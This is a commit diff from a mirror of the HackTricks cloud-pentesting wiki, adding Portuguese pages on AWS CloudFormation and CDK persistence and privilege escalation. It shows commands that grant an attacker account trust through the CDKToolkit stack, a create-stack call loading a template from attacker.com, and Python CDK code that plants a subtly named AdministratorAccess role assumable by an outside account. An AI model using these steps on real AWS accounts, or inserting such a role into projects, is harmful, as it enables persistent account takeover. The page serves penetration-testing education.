mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
# AWS - Persistência do Cloudformation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Pilha de Inicialização do CDK
|
||||
|
||||
O AWS CDK implanta uma pilha CFN chamada `CDKToolkit`. Esta pilha suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a pilha com parâmetros, ou o AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
--role-arn <arn-role>
|
||||
```
|
||||
Na página seguinte, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**:
|
||||
Na página a seguir, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**:
|
||||
|
||||
{{#ref}}
|
||||
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
@@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm
|
||||
|
||||
Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack.
|
||||
|
||||
A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
|
||||
A seguinte exploração é uma **variação do**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -103,8 +103,53 @@ Um atacante poderia abusar dessa permissão sem a permissão passRole para atual
|
||||
|
||||
**Impacto Potencial:** Privesc para os papéis de cloudformation anexados.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
O AWS cdk é um kit de ferramentas que permite aos usuários definir sua infraestrutura como código em linguagens com as quais já estão familiarizados, além de reutilizar facilmente seções. O CDK então converte o código de alto nível (ou seja, python) em templates de Cloudformation (yaml ou json).
|
||||
|
||||
Para usar o CDK, um usuário administrativo deve primeiro inicializar a conta, o que cria vários papéis IAM, incluindo o *papel exec*, que tem permissões \*/\*. Esses papéis seguem a estrutura de nomenclatura `cdk-<qualifier>-<name>-<account-id>-<region>`. A inicialização deve ser feita uma vez por região por conta.
|
||||
|
||||
Por padrão, os usuários do CDK não têm acesso para listar os papéis necessários para usar o CDK, o que significa que você precisará determiná-los manualmente. Se você comprometer a máquina de um desenvolvedor ou algum nó de CI/CD, esses papéis podem ser assumidos para conceder a si mesmo a capacidade de implantar templates CFN, usando o papel `cfn-exec` para permitir que o CFN implante quaisquer recursos, comprometendo totalmente a conta.
|
||||
|
||||
### Determinando os nomes dos papéis
|
||||
|
||||
Se você tiver `cloudformation:DescribeStacks`, os papéis estão definidos em uma pilha chamada `CDKToolkit`, e você pode extrair os nomes de lá.
|
||||
|
||||
Se você estiver em uma máquina que foi usada para construir e implantar projetos CDK, pode extrair os nomes de `cdk.out/manafest.json` no diretório raiz dos projetos.
|
||||
|
||||
Você também pode fazer uma boa suposição sobre quais são. `qualifier` é uma string adicionada aos papéis permitindo que várias instâncias da inicialização do CDK sejam implantadas ao mesmo tempo, no entanto, o valor padrão é codificado como `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Adicionando código malicioso ao código-fonte do projeto
|
||||
|
||||
Se você pode escrever no código-fonte do projeto, mas não pode implantá-lo você mesmo (por exemplo, o desenvolvedor implanta o código via CI/CD, não a máquina local), você ainda pode comprometer o ambiente adicionando recursos maliciosos à pilha. O seguinte adiciona um papel IAM que pode ser assumido por uma conta de atacante a um projeto python CDK.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
|
||||
AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pelo **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
|
||||
|
||||
### Enumeração
|
||||
```bash
|
||||
@@ -37,9 +37,15 @@ Na página a seguir, você pode verificar como **abusar das permissões do cloud
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
|
||||
Verifique por **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
|
||||
|
||||
## Codestar
|
||||
|
||||
|
||||
Reference in New Issue
Block a user